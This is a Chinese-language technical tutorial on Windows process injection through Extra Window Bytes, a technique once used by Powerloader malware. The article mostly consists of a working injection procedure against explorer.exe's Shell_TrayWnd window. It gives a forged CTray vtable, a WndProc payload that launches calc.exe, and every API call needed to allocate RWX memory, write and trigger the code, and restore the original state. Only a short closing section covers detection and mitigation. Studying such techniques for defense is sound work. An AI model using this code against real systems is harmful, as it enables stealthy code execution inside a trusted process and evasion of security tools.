Windows进程注入技术之额外的Window字节篇
字数 1030 2025-08-29 08:32:24
Windows进程注入技术:额外的Window字节篇
技术概述
这种进程注入技术利用Windows窗口对象中的额外字节(Extra Window Bytes)来实现代码注入,最早可追溯到2013年左右的Powerloader恶意软件。该技术基于Windows操作系统中长期存在的功能,可能早在80年代末或90年代初就已存在。
技术原理
窗口额外字节机制
Windows窗口对象在索引0处的内容可用于将类对象与窗口相关联。关键API函数:
SetWindowLongPtr: 将指向类对象的指针存储到索引0处GetWindowLongPtr: 从索引0处检索指针
Shell_TrayWnd窗口
该技术常使用"Shell_TrayWnd"窗口作为注入向量,这是Windows任务栏的主窗口,由explorer.exe进程拥有。
技术实现细节
CTray类结构
CTray是Shell_TrayWnd窗口使用的类,其结构定义如下:
// CTray object for Shell_TrayWnd
typedef struct _ctray_vtable {
ULONG_PTR vTable; // 虚表指针(需改为远程内存地址)
ULONG_PTR AddRef; // 引用计数方法
ULONG_PTR Release; // 释放方法
ULONG_PTR WndProc; // 窗口过程(改为payload地址)
} CTray;
注意:
ULONG_PTR在32位系统上是4字节,64位上是8字节- 不能直接覆盖原始对象的WndProc指针(因为它是只读的)
- 需要复制现有对象到本地内存,修改WndProc后写入explorer.exe进程的新位置
有效载荷设计
有效载荷需要遵循特定的函数原型,否则可能导致explorer.exe崩溃:
LRESULT CALLBACK WndProc(
HWND hWnd,
UINT uMsg,
WPARAM wParam,
LPARAM lParam
)
{
// 只处理WM_CLOSE消息,忽略其他消息
if(uMsg != WM_CLOSE)
return 0;
// 示例:执行calc.exe
WinExec_t pWinExec;
DWORD szWinExec[2], szCalc[2];
// "WinExec"的ASCII编码
szWinExec[0] = 0x456E6957;
szWinExec[1] = 0x00636578;
// "calc"的ASCII编码
szCalc[0] = 0x636C6163;
szCalc[1] = 0;
// 获取WinExec函数地址
pWinExec = (WinExec_t)xGetProcAddress(szWinExec);
if(pWinExec != NULL) {
pWinExec((LPSTR)szCalc, SW_SHOW);
}
return 0;
}
完整注入流程
-
获取Shell_TrayWnd窗口句柄
hw = FindWindow("Shell_TrayWnd", NULL); -
获取explorer.exe进程ID
GetWindowThreadProcessId(hw, &pid); -
打开explorer.exe进程
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); -
获取当前CTray对象指针
ctp = GetWindowLongPtr(hw, 0); -
读取当前CTray对象的虚表指针
ReadProcessMemory(hp, (LPVOID)ctp, (LPVOID)&ct.vTable, sizeof(ULONG_PTR), &wr); -
从虚表读取三个方法地址
ReadProcessMemory(hp, (LPVOID)ct.vTable, (LPVOID)&ct.AddRef, sizeof(ULONG_PTR)*3, &wr); -
在目标进程分配RWX内存用于代码
cs = VirtualAllocEx(hp, NULL, payloadSize, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE); -
将有效载荷代码写入目标进程
WriteProcessMemory(hp, cs, payload, payloadSize, &wr); -
在目标进程分配RW内存用于新CTray对象
ds = VirtualAllocEx(hp, NULL, sizeof(ct), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE); -
构造并写入新的CTray对象
ct.vTable = (ULONG_PTR)ds + sizeof(ULONG_PTR); ct.WndProc = (ULONG_PTR)cs; WriteProcessMemory(hp, ds, &ct, sizeof(ct), &wr); -
设置新的CTray对象指针
SetWindowLongPtr(hw, 0, (ULONG_PTR)ds); -
触发有效载荷
PostMessage(hw, WM_CLOSE, 0, 0); -
恢复原始CTray对象
SetWindowLongPtr(hw, 0, ctp); -
清理资源
VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT|MEM_RELEASE); VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT|MEM_RELEASE); CloseHandle(hp);
技术限制与防护
- UIPI缓解:自Windows Vista引入的用户界面权限隔离(UIPI)在一定程度上缓解了此类攻击
- 兼容性:该技术在最新版Windows 10上仍然有效
- 防护措施:
- 监控对
SetWindowLongPtr的调用 - 检查窗口过程是否被修改
- 实施完整性检查
- 监控对
总结
这种窗口对象注入技术属于"粉碎窗口攻击"(Window Shattering Attack)类型,虽然有一定防护措施,但仍然是一个有效的注入方法。理解这种技术有助于开发更好的防御机制和检测方法。